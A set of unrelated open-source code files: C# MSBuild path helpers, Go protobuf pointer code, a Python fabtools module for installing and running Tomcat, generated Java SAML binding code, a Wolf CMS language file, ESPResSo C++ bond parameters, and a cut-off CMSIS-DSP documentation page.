/// MSBuildExtensionsPathReferenceKind instance representing no MSBuildExtensionsPath* property reference
/// </summary>
public static readonly MSBuildExtensionsPathReferenceKind None = new MSBuildExtensionsPathReferenceKind(String.Empty);
private MSBuildExtensionsPathReferenceKind(string value)
{
StringRepresentation = value;
}
/// <summary>
/// String representation of the property reference - eg. "MSBuildExtensionsPath32"
/// </summary>
public string StringRepresentation { get; private set; }
/// <summary>
/// Returns the corresponding property name - eg. "$(MSBuildExtensionsPath32)"
/// </summary>
public string MSBuildPropertyName => String.Format($"$({StringRepresentation})");
/// <summary>
/// Tries to find a reference to MSBuildExtensionsPath* property in the given string
/// </summary>
public static MSBuildExtensionsPathReferenceKind FindIn(string expression)
{
if (expression.IndexOf("$(MSBuildExtensionsPath)") >= 0)
{
return MSBuildExtensionsPathReferenceKind.Default;
}
if (expression.IndexOf("$(MSBuildExtensionsPath32)") >= 0)
{
return MSBuildExtensionsPathReferenceKind.Path32;
}
if (expression.IndexOf("$(MSBuildExtensionsPath64)") >= 0)
{
return MSBuildExtensionsPathReferenceKind.Path64;
}
return MSBuildExtensionsPathReferenceKind.None;
}
}
}
| {
"pile_set_name": "Github"
} |
// Protocol Buffers for Go with Gadgets
//
// Copyright (c) 2018, The GoGo Authors. All rights reserved.
// http://github.com/gogo/protobuf
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
// +build !purego,!appengine,!js
// This file contains the implementation of the proto field accesses using package unsafe.
package proto
import (
"reflect"
"unsafe"
)
func (p pointer) getRef() pointer {
return pointer{p: (unsafe.Pointer)(&p.p)}
}
func (p pointer) appendRef(v pointer, typ reflect.Type) {
slice := p.getSlice(typ)
elem := v.asPointerTo(typ).Elem()
newSlice := reflect.Append(slice, elem)
slice.Set(newSlice)
}
func (p pointer) getSlice(typ reflect.Type) reflect.Value {
sliceTyp := reflect.SliceOf(typ)
slice := p.asPointerTo(sliceTyp)
slice = slice.Elem()
return slice
}
| {
"pile_set_name": "Github"
} |
"""
Tomcat
=======
This module provides tools for installing `Tomcat`_.
.. _Tomcat: http://tomcat.apache.org/
"""
import os
import re
from fabric.api import cd, hide, run, settings
from fabric.operations import put
from fabtools.files import is_file, is_link, is_dir
from fabtools.utils import run_as_root
# Default parameters
DEFAULT_VERSION = '7.0.47'
DEFAULT_INSTALLATION_PATH = "/usr/share/tomcat"
DEFAULT_MIRROR = "http://archive.apache.org"
def install_from_source(path=DEFAULT_INSTALLATION_PATH,
version=DEFAULT_VERSION,
mirror=DEFAULT_MIRROR,
overwrite=False):
"""
Install Tomcat from source.
::
import fabtools
# Install Tomcat
fabtools.tomcat.install_from_source(version='6.0.36')
"""
from fabtools.require import file as require_file
from fabtools.require.files import directory as require_directory
# Tokenize version into parts
version_tokens = version.split('.')
version_major = version_tokens[0]
# Parse the filename and folder
file_name = 'apache-tomcat-%s.tar.gz' % version
folder_name = 'apache-tomcat-%s' % version
# Build the distribution in /tmp
with cd('/tmp'):
# Make sure we have the tarball downloaded.
if not is_file(os.path.join('/tmp/', file_name)):
# Otherwise, download the tarball based on our mirror and version.
tomcat_url = '%s/dist/tomcat/tomcat-%s/v%s/bin/%s' % (
mirror, version_major, version, file_name)
# Ensure the file has been downloaded
require_file(url=tomcat_url)
# Extract the file
run('tar -xzf %s' % file_name)
# Handle possibility of existing path
if is_dir(path):
if overwrite is False:
# Raise exception as we don't want to overwrite
raise OSError(
"Path %s already exists and overwrite not set." % path)
else:
# Otherwise, backup the tomcat path
backup_installation_path = path + ".backup"
if is_dir(backup_installation_path):
run_as_root("rm -rf %s" % backup_installation_path)
run_as_root("mv %s %s" % (path, backup_installation_path))
"""
After all that, let's ensure we have the installation path setup
properly and place the install.
"""
require_directory(path, mode='755', use_sudo=True)
run_as_root('mv %s/* %s' % (folder_name, path))
# Now cleanup temp.
run("rm -rf %s*" % file_name)
# Finally, configure and start Tomcat
configure_tomcat(path, overwrite=overwrite)
start_tomcat()
def configure_tomcat(path, overwrite=False):
from fabric.contrib.files import append
startup_script = """
#!/bin/sh
### BEGIN INIT INFO
# Provides: tomcat
# Required-Start: $local_fs $remote_fs $network $syslog $named
# Required-Stop: $local_fs $remote_fs $network $syslog $named
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# X-Interactive: true
# Short-Description: Tomcat
# Description: Start Tomcat
### END INIT INFO
case $1 in
start)
sh %(path)s/bin/startup.sh
;;
stop)
sh %(path)s/bin/shutdown.sh
;;
restart)
sh %(path)s/bin/shutdown.sh
sh %(path)s/bin/startup.sh
;;
esac
exit 0""" % {'path': path}
# Check for existing files and overwrite.
if is_file('/etc/init.d/tomcat'):
if overwrite is False:
raise OSError(
"/etc/init.d/tomcat already exists and not overwriting.")
else:
run_as_root("rm -f /etc/init.d/tomcat")
# Now create the file and symlinks.
append('/etc/init.d/tomcat', startup_script, use_sudo=True)
run_as_root('chmod 755 /etc/init.d/tomcat')
if not is_link('/etc/rc1.d/K99tomcat'):
run_as_root('ln -s /etc/init.d/tomcat /etc/rc1.d/K99tomcat')
if not is_link('/etc/rc2.d/S99tomcat'):
run_as_root('ln -s /etc/init.d/tomcat /etc/rc2.d/S99tomcat')
def start_tomcat():
"""
Start the Tomcat service.
"""
run_as_root('/etc/init.d/tomcat start')
def stop_tomcat():
"""
Stop the Tomcat service.
"""
run_as_root('/etc/init.d/tomcat stop')
def version(path):
"""
Get the version of currently installed tomcat.
Returns ``None`` if it is not installed.
"""
with settings(hide('running', 'stdout', 'warnings'), warn_only=True):
res = run(os.path.join(path, 'bin/version.sh'))
if res.failed:
return None
else:
return _extract_tomcat_version(res)
def _extract_tomcat_version(tomcat_version_out):
"""
Extracts tomcat version in format like '7.0.42'
from 'tomcat/bin/version.sh' command output.
"""
match = re.search(r'Server version: (.*)', tomcat_version_out)
if match is None:
return None
match_version = match.group(1).split('/')[1].strip()
return match_version
def deploy_application(war_file, webapp_path=None):
"""
Deploy an application into the webapp path for a Tomcat installation.
"""
# If no webapp path specified, used default installation.
if not webapp_path:
webapp_path = os.path.join(DEFAULT_INSTALLATION_PATH, 'webapps')
# Now copy our WAR into the webapp path.
put(
local_path=war_file, remote_path=os.path.join(webapp_path, war_file),
use_sudo=True)
| {
"pile_set_name": "Github"
} |
//
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v1.0.6-b27-fcs
// See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2012.06.11 at 10:33:54 AM PDT
//
package com.sun.identity.liberty.ws.common.jaxb.assertion.impl;
public class ActionElementImpl
extends com.sun.identity.liberty.ws.common.jaxb.assertion.impl.ActionTypeImpl
implements com.sun.identity.liberty.ws.common.jaxb.assertion.ActionElement, com.sun.xml.bind.RIElement, com.sun.xml.bind.JAXBObject, com.sun.identity.federation.jaxb.entityconfig.impl.runtime.UnmarshallableObject, com.sun.identity.federation.jaxb.entityconfig.impl.runtime.XMLSerializable, com.sun.identity.federation.jaxb.entityconfig.impl.runtime.ValidatableObject
{
public final static java.lang.Class version = (com.sun.identity.liberty.ws.common.jaxb.assertion.impl.JAXBVersion.class);
private static com.sun.msv.grammar.Grammar schemaFragment;
private final static java.lang.Class PRIMARY_INTERFACE_CLASS() {
return (com.sun.identity.liberty.ws.common.jaxb.assertion.ActionElement.class);
}
public java.lang.String ____jaxb_ri____getNamespaceURI() {
return "urn:oasis:names:tc:SAML:1.0:assertion";
}
public java.lang.String ____jaxb_ri____getLocalName() {
return "Action";
}
public com.sun.identity.federation.jaxb.entityconfig.impl.runtime.UnmarshallingEventHandler createUnmarshaller(com.sun.identity.federation.jaxb.entityconfig.impl.runtime.UnmarshallingContext context) {
return new com.sun.identity.liberty.ws.common.jaxb.assertion.impl.ActionElementImpl.Unmarshaller(context);
}
public void serializeBody(com.sun.identity.federation.jaxb.entityconfig.impl.runtime.XMLSerializer context)
throws org.xml.sax.SAXException
{
context.startElement("urn:oasis:names:tc:SAML:1.0:assertion", "Action");
super.serializeURIs(context);
context.endNamespaceDecls();
super.serializeAttributes(context);
context.endAttributes();
super.serializeBody(context);
context.endElement();
}
public void serializeAttributes(com.sun.identity.federation.jaxb.entityconfig.impl.runtime.XMLSerializer context)
throws org.xml.sax.SAXException
{
}
public void serializeURIs(com.sun.identity.federation.jaxb.entityconfig.impl.runtime.XMLSerializer context)
throws org.xml.sax.SAXException
{
}
public java.lang.Class getPrimaryInterface() {
return (com.sun.identity.liberty.ws.common.jaxb.assertion.ActionElement.class);
}
public com.sun.msv.verifier.DocumentDeclaration createRawValidator() {
if (schemaFragment == null) {
schemaFragment = com.sun.xml.bind.validator.SchemaDeserializer.deserialize((
"\u00ac\u00ed\u0000\u0005sr\u0000\'com.sun.msv.grammar.trex.ElementPattern\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0001L\u0000"
+"\tnameClasst\u0000\u001fLcom/sun/msv/grammar/NameClass;xr\u0000\u001ecom.sun.msv."
+"grammar.ElementExp\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0002Z\u0000\u001aignoreUndeclaredAttributesL\u0000"
+"\fcontentModelt\u0000 Lcom/sun/msv/grammar/Expression;xr\u0000\u001ecom.sun."
+"msv.grammar.Expression\u00f8\u0018\u0082\u00e8N5~O\u0002\u0000\u0002L\u0000\u0013epsilonReducibilityt\u0000\u0013Lj"
+"ava/lang/Boolean;L\u0000\u000bexpandedExpq\u0000~\u0000\u0003xppp\u0000sr\u0000\u001fcom.sun.msv.gra"
+"mmar.SequenceExp\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0000xr\u0000\u001dcom.sun.msv.grammar.BinaryExp"
+"\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0002L\u0000\u0004exp1q\u0000~\u0000\u0003L\u0000\u0004exp2q\u0000~\u0000\u0003xq\u0000~\u0000\u0004ppsq\u0000~\u0000\u0007ppsr\u0000\u001bcom.s"
+"un.msv.grammar.DataExp\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0003L\u0000\u0002dtt\u0000\u001fLorg/relaxng/dataty"
+"pe/Datatype;L\u0000\u0006exceptq\u0000~\u0000\u0003L\u0000\u0004namet\u0000\u001dLcom/sun/msv/util/String"
+"Pair;xq\u0000~\u0000\u0004sr\u0000\u0011java.lang.Boolean\u00cd r\u0080\u00d5\u009c\u00fa\u00ee\u0002\u0000\u0001Z\u0000\u0005valuexp\u0000psr\u0000#c"
+"om.sun.msv.datatype.xsd.StringType\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0001Z\u0000\risAlwaysVali"
+"dxr\u0000*com.sun.msv.datatype.xsd.BuiltinAtomicType\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0000xr"
+"\u0000%com.sun.msv.datatype.xsd.ConcreteType\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0000xr\u0000\'com.su"
+"n.msv.datatype.xsd.XSDatatypeImpl\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0003L\u0000\fnamespaceUrit"
+"\u0000\u0012Ljava/lang/String;L\u0000\btypeNameq\u0000~\u0000\u0015L\u0000\nwhiteSpacet\u0000.Lcom/sun"
+"/msv/datatype/xsd/WhiteSpaceProcessor;xpt\u0000 http://www.w3.org"
+"/2001/XMLSchemat\u0000\u0006stringsr\u00005com.sun.msv.datatype.xsd.WhiteSp"
+"aceProcessor$Preserve\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0000xr\u0000,com.sun.msv.datatype.xsd"
+".WhiteSpaceProcessor\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0000xp\u0001sr\u00000com.sun.msv.grammar.Ex"
+"pression$NullSetExpression\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0000xq\u0000~\u0000\u0004q\u0000~\u0000\u0010psr\u0000\u001bcom.sun"
+".msv.util.StringPair\u00d0t\u001ejB\u008f\u008d\u00a0\u0002\u0000\u0002L\u0000\tlocalNameq\u0000~\u0000\u0015L\u0000\fnamespace"
+"URIq\u0000~\u0000\u0015xpq\u0000~\u0000\u0019q\u0000~\u0000\u0018sr\u0000\u001dcom.sun.msv.grammar.ChoiceExp\u0000\u0000\u0000\u0000\u0000\u0000\u0000"
+"\u0001\u0002\u0000\u0000xq\u0000~\u0000\bppsr\u0000 com.sun.msv.grammar.AttributeExp\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0002L"
+"\u0000\u0003expq\u0000~\u0000\u0003L\u0000\tnameClassq\u0000~\u0000\u0001xq\u0000~\u0000\u0004q\u0000~\u0000\u0010psq\u0000~\u0000\u000bq\u0000~\u0000\u0010psr\u0000#com.s"
+"un.msv.datatype.xsd.AnyURIType\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0000xq\u0000~\u0000\u0012q\u0000~\u0000\u0018t\u0000\u0006anyUR"
+"Isr\u00005com.sun.msv.datatype.xsd.WhiteSpaceProcessor$Collapse\u0000\u0000"
+"\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0000xq\u0000~\u0000\u001bq\u0000~\u0000\u001esq\u0000~\u0000\u001fq\u0000~\u0000(q\u0000~\u0000\u0018sr\u0000#com.sun.msv.grammar."
+"SimpleNameClass\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0002L\u0000\tlocalNameq\u0000~\u0000\u0015L\u0000\fnamespaceURIq\u0000"
+"~\u0000\u0015xr\u0000\u001dcom.sun.msv.grammar.NameClass\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0000xpt\u0000\tNamespac"
+"et\u0000\u0000sr\u00000com.sun.msv.grammar.Expression$EpsilonExpression\u0000\u0000\u0000\u0000"
+"\u0000\u0000\u0000\u0001\u0002\u0000\u0000xq\u0000~\u0000\u0004sq\u0000~\u0000\u000f\u0001q\u0000~\u00002sq\u0000~\u0000!ppsq\u0000~\u0000#q\u0000~\u0000\u0010psq\u0000~\u0000\u000bq\u0000~\u0000\u0010psr\u0000"
+"\"com.sun.msv.datatype.xsd.QnameType\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0000xq\u0000~\u0000\u0012q\u0000~\u0000\u0018t\u0000\u0005"
+"QNameq\u0000~\u0000*q\u0000~\u0000\u001esq\u0000~\u0000\u001fq\u0000~\u00009q\u0000~\u0000\u0018sq\u0000~\u0000,t\u0000\u0004typet\u0000)http://www.w3"
+".org/2001/XMLSchema-instanceq\u0000~\u00002sq\u0000~\u0000,t\u0000\u0006Actiont\u0000%urn:oasis"
+":names:tc:SAML:1.0:assertionsr\u0000\"com.sun.msv.grammar.Expressi"
+"onPool\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0002\u0000\u0001L\u0000\bexpTablet\u0000/Lcom/sun/msv/grammar/Expressi"
+"onPool$ClosedHash;xpsr\u0000-com.sun.msv.grammar.ExpressionPool$C"
+"losedHash\u00d7j\u00d0N\u00ef\u00e8\u00ed\u001c\u0003\u0000\u0003I\u0000\u0005countB\u0000\rstreamVersionL\u0000\u0006parentt\u0000$Lcom"
+"/sun/msv/grammar/ExpressionPool;xp\u0000\u0000\u0000\u0004\u0001pq\u0000~\u0000\nq\u0000~\u0000\"q\u0000~\u0000\tq\u0000~\u00004"
+"x"));
}
return new com.sun.msv.verifier.regexp.REDocumentDeclaration(schemaFragment);
}
public class Unmarshaller
extends com.sun.identity.federation.jaxb.entityconfig.impl.runtime.AbstractUnmarshallingEventHandlerImpl
{
public Unmarshaller(com.sun.identity.federation.jaxb.entityconfig.impl.runtime.UnmarshallingContext context) {
super(context, "----");
}
protected Unmarshaller(com.sun.identity.federation.jaxb.entityconfig.impl.runtime.UnmarshallingContext context, int startState) {
this(context);
state = startState;
}
public java.lang.Object owner() {
return com.sun.identity.liberty.ws.common.jaxb.assertion.impl.ActionElementImpl.this;
}
public void enterElement(java.lang.String ___uri, java.lang.String ___local, java.lang.String ___qname, org.xml.sax.Attributes __atts)
throws org.xml.sax.SAXException
{
int attIdx;
outer:
while (true) {
switch (state) {
case 1 :
attIdx = context.getAttribute("", "Namespace");
if (attIdx >= 0) {
context.consumeAttribute(attIdx);
context.getCurrentHandler().enterElement(___uri, ___local, ___qname, __atts);
return ;
}
break;
case 3 :
revertToParentFromEnterElement(___uri, ___local, ___qname, __atts);
return ;
case 0 :
if (("Action" == ___local)&&("urn:oasis:names:tc:SAML:1.0:assertion" == ___uri)) {
context.pushAttributes(__atts, true);
state = 1;
return ;
}
break;
}
super.enterElement(___uri, ___local, ___qname, __atts);
break;
}
}
public void leaveElement(java.lang.String ___uri, java.lang.String ___local, java.lang.String ___qname)
throws org.xml.sax.SAXException
{
int attIdx;
outer:
while (true) {
switch (state) {
case 1 :
attIdx = context.getAttribute("", "Namespace");
if (attIdx >= 0) {
context.consumeAttribute(attIdx);
context.getCurrentHandler().leaveElement(___uri, ___local, ___qname);
return ;
}
break;
case 3 :
revertToParentFromLeaveElement(___uri, ___local, ___qname);
return ;
case 2 :
if (("Action" == ___local)&&("urn:oasis:names:tc:SAML:1.0:assertion" == ___uri)) {
context.popAttributes();
state = 3;
return ;
}
break;
}
super.leaveElement(___uri, ___local, ___qname);
break;
}
}
public void enterAttribute(java.lang.String ___uri, java.lang.String ___local, java.lang.String ___qname)
throws org.xml.sax.SAXException
{
int attIdx;
outer:
while (true) {
switch (state) {
case 1 :
if (("Namespace" == ___local)&&("" == ___uri)) {
spawnHandlerFromEnterAttribute((((com.sun.identity.liberty.ws.common.jaxb.assertion.impl.ActionTypeImpl)com.sun.identity.liberty.ws.common.jaxb.assertion.impl.ActionElementImpl.this).new Unmarshaller(context)), 2, ___uri, ___local, ___qname);
return ;
}
break;
case 3 :
revertToParentFromEnterAttribute(___uri, ___local, ___qname);
return ;
}
super.enterAttribute(___uri, ___local, ___qname);
break;
}
}
public void leaveAttribute(java.lang.String ___uri, java.lang.String ___local, java.lang.String ___qname)
throws org.xml.sax.SAXException
{
int attIdx;
outer:
while (true) {
switch (state) {
case 1 :
attIdx = context.getAttribute("", "Namespace");
if (attIdx >= 0) {
context.consumeAttribute(attIdx);
context.getCurrentHandler().leaveAttribute(___uri, ___local, ___qname);
return ;
}
break;
case 3 :
revertToParentFromLeaveAttribute(___uri, ___local, ___qname);
return ;
}
super.leaveAttribute(___uri, ___local, ___qname);
break;
}
}
public void handleText(final java.lang.String value)
throws org.xml.sax.SAXException
{
int attIdx;
outer:
while (true) {
try {
switch (state) {
case 1 :
attIdx = context.getAttribute("", "Namespace");
if (attIdx >= 0) {
context.consumeAttribute(attIdx);
context.getCurrentHandler().text(value);
return ;
}
spawnHandlerFromText((((com.sun.identity.liberty.ws.common.jaxb.assertion.impl.ActionTypeImpl)com.sun.identity.liberty.ws.common.jaxb.assertion.impl.ActionElementImpl.this).new Unmarshaller(context)), 2, value);
return ;
case 3 :
revertToParentFromText(value);
return ;
}
} catch (java.lang.RuntimeException e) {
handleUnexpectedTextException(value, e);
}
break;
}
}
}
}
| {
"pile_set_name": "Github"
} |
<?php
/**
* Wolf CMS multi_lang plugin language file
*
* @package Translations
*/
return array(
'Do you want to create a translated version of a page as a tab of the same page or as a copy of the page in a language specific subtree? (i.e. Home->nl->About as a Dutch translation of Home->About)' => 'Искате ли да създадете преведена версия на страницата, като раздел на същата страница или като копие на страницата в специфичен поддърво език? (т.е. Home->nl->About като холандски превод на Home->About)',
'Documentation' => 'Документация',
'General' => 'Общи',
'Get the language preference from the HTTP header (default), the uri (/nl/about.html for the Dutch version of about.html) or from the stored preference of a logged in user.' => 'Get the language preference from the HTTP header (default), the uri (/nl/about.html for the Dutch version of about.html) or from the stored preference of a logged in user.',
'HTTP_ACCEPT_LANG header' => 'HTTP_ACCEPT_LANG header',
'Language source' => 'Language source',
'Multiple Language Documentation' => 'Multiple Language Documentation',
'Multiple Language Settings' => 'Multiple Language Settings',
'Multiple Languages' => 'Multiple Languages',
'Provides language specific content when available based on user preferences.' => 'Provides language specific content when available based on user preferences.',
'Save' => 'Запази',
'Settings' => 'Настройки',
'Style' => 'Style',
'The settings have been updated.' => 'The settings have been updated.',
'Translations as page copy' => 'Translations as page copy',
'Translations as tab' => 'Translations as tab',
'URI' => 'URI',
'Wolf CMS user preferences' => 'Wolf CMS user preferences',
'You have modified this page. If you navigate away from this page without first saving your data, the changes will be lost.' => 'Има промени, които сте направили на тази страница. Ако напуснете сега, промените ще бъдат загубени.'
); | {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2012-2019 The ESPResSo project
*
* This file is part of ESPResSo.
*
* ESPResSo is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* ESPResSo is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "oif_local_forces.hpp"
#include "communication.hpp"
#include <utils/constants.hpp>
int oif_local_forces_set_params(int bond_type, double r0, double ks,
double kslin, double phi0, double kb,
double A01, double A02, double kal,
double kvisc) {
if (bond_type < 0)
return ES_ERROR;
make_bond_type_exist(bond_type);
bonded_ia_params[bond_type].p.oif_local_forces.phi0 = phi0;
bonded_ia_params[bond_type].p.oif_local_forces.kb = kb;
bonded_ia_params[bond_type].p.oif_local_forces.r0 = r0;
bonded_ia_params[bond_type].p.oif_local_forces.ks = ks;
bonded_ia_params[bond_type].p.oif_local_forces.kslin = kslin;
bonded_ia_params[bond_type].p.oif_local_forces.A01 = A01;
bonded_ia_params[bond_type].p.oif_local_forces.A02 = A02;
bonded_ia_params[bond_type].p.oif_local_forces.kal = kal;
bonded_ia_params[bond_type].p.oif_local_forces.kvisc = kvisc;
bonded_ia_params[bond_type].type = BONDED_IA_OIF_LOCAL_FORCES;
bonded_ia_params[bond_type].num = 3;
mpi_bcast_ia_params(bond_type, -1);
return ES_OK;
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<title>Data Fields</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<link href="cmsis.css" rel="stylesheet" type="text/css" />
<link href="navtree.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="resize.js"></script>
<script type="text/javascript" src="navtree.js"></script>
<script type="text/javascript">
$(document).ready(initResizable);
</script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
$(document).ready(function() { searchBox.OnSelectItem(0); });
</script>
</head>
<body>
<div id="top"><!-- do not remove this div! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 46px;">
<td id="proglogo"><img alt="CMSIS Logo" src="CMSIS_Logo_Final.png"></td>
<td style="padding-left: 0.5em;">
<div id="projectname">CMSIS-DSP
 <span id="projectnumber">Verison 1.1.0</span>
</div>
<div id="projectbrief">CMSIS DSP Software Library</div>
</td>
</tr>
</tbody>
</table>
</div>
<div id="CMSISnav" class="tabs1">
<ul class="tablist">
<li><a href="../../General/html/index.html"><span>CMSIS</span></a></li>
<li><a href="../../Core/html/index.html"><span>CORE</span></a></li>
<li class="current"><a href="../../DSP/html/index.html"><span>DSP</span></a></li>
<li><a href="../../RTOS/html/index.html"><span>RTOS API</span></a></li>
<li><a href="../../SVD/html/index.html"><span>SVD</span></a></li>
</ul>
</div>
<!-- Generated by Doxygen 1.7.5.1 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="modules.html"><span>Reference</span></a></li>
<li>
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Search" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="annotated.html"><span>Data Structures</span></a></li>
<li class="current"><a href="functions.html"><span>Data Fields</span></a></li>
</ul>
</div>
<div id="navrow3" class="tabs2">
<ul class="tablist">
<li class="current"><a href="functions.html"><span>All</span></a></li>
<li><a href="functions_vars.html"><span>Variables</span></a></li>
</ul>
</div>
<div id="navrow4" class="tabs3">
<ul class="tablist">
<li><a href="functions.html#index_a"><span>a</span></a></li>
<li><a href="functions_0x62.html#index_b"><span>b</span></a></li>
<li><a href="functions_0x65.html#index_e"><span>e</span></a></li>
<li><a href="functions_0x66.html#index_f"><span>f</span></a></li>
<li><a href="functions_0x69.html#index_i"><span>i</span></a></li>
<li><a href="functions_0x6b.html#index_k"><span>k</span></a></li>
<li><a href="functions_0x6c.html#index_l"><span>l</span></a></li>
<li><a href="functions_0x6d.html#index_m"><span>m</span></a></li>
<li><a href="functions_0x6e.html#index_n"><span>n</span></a></li>
<li><a href="functions_0x6f.html#index_o"><span>o</span></a></li>
<li class="current"><a href="functions_0x70.html#index_p"><span>p</span></a></li>
<li><a href="functions_0x72.html#index_r"><span>r</span></a></li>
<li><a href="functions_0x73.html#index_s"><span>s</span></a></li>
<li><a href="functions_0x74.html#index_t"><span>t</span></a></li>
<li><a href="functions_0x78.html#index_x"><span>x</span></a></li>
</ul>
</div>
</div>
<div id="side-nav" class="ui-resizable side-nav-resizable">
<div id="nav-tree">
<div id="nav-tree-contents">
</div>
</div>
<div id="splitbar" style="-moz-user-select:none;"
class="ui-resizable-handle">
</div>
</div>
<script type="text/javascript">
initNavTree('functions.html','');
</script>
<div id="doc-content">
<div class="contents">
<div class="textblock">Here is a list of all struct and union fields with links to the structures/unions they belong to:</div>
<h3><a class="anchor" id="index_p"></a>- p -</h3><ul>
<li>pBitRevTable
: <a class="el" href="structarm__cfft__radix4__instance__q15.html#a4acf704ae0cf30b53bf0fbfae8e34a59">arm_cfft_radix4_instance_q15</a>
, <a class="el" href="structarm__cfft__radix4__instance__q31.html#a33a3bc774c97373261699463c05dfe54">arm_cfft_radix4_instance_q31</a>
, <a class="el" href="structarm__cfft__radix2__instance__q15.html#ab88afeff6493be3c8b5e4530efa82d51">arm_cfft_radix2_instance_q15</a>
, <a class="el" href="structarm__cfft__radix2__instance__q31.html#ada8e5264f4b22ff4c621817978994674">arm_cfft_radix2_instance_q31</a>
, <a class="el" href="structarm__cfft__radix4__instance__f32.html#a8da0d2ca69749fde8cbb95caeac6fe6a">arm_cfft_radix4_instance_f32</a>
, <a class="el" href="structarm__cfft__radix2__instance__f32.html#a92b8fa0a151cd800436094903a5ca0a4">arm_cfft_radix2_instance_f32</a>
</li>
<li>pCfft
: <a class="el" href="structarm__rfft__instance__q31.html#ac6bf12707e1985818d161616adf27977">arm_rfft_instance_q31</a>
, <a class="el" href="structarm__rfft__instance__f32.html#a9f47ba9f50c81e4445ae3827b981bc05">arm_rfft_instance_f32</a>
, <a class="el" href="structarm__dct4__instance__f32.html#a018f7860b6e070af533fb7d76c7cdc32">arm_dct4_instance_f32</a>
, <a class="el" href="structarm__dct4__instance__q31.html#ac96579cfb28d08bb11dd2fe4c6303833">arm_dct4_instance_q31</a>
, <a class="el" href="structarm__dct4__instance__q15.html#a7284932ee8c36107c33815eb62eadffc">arm_dct4_instance_q15</a>
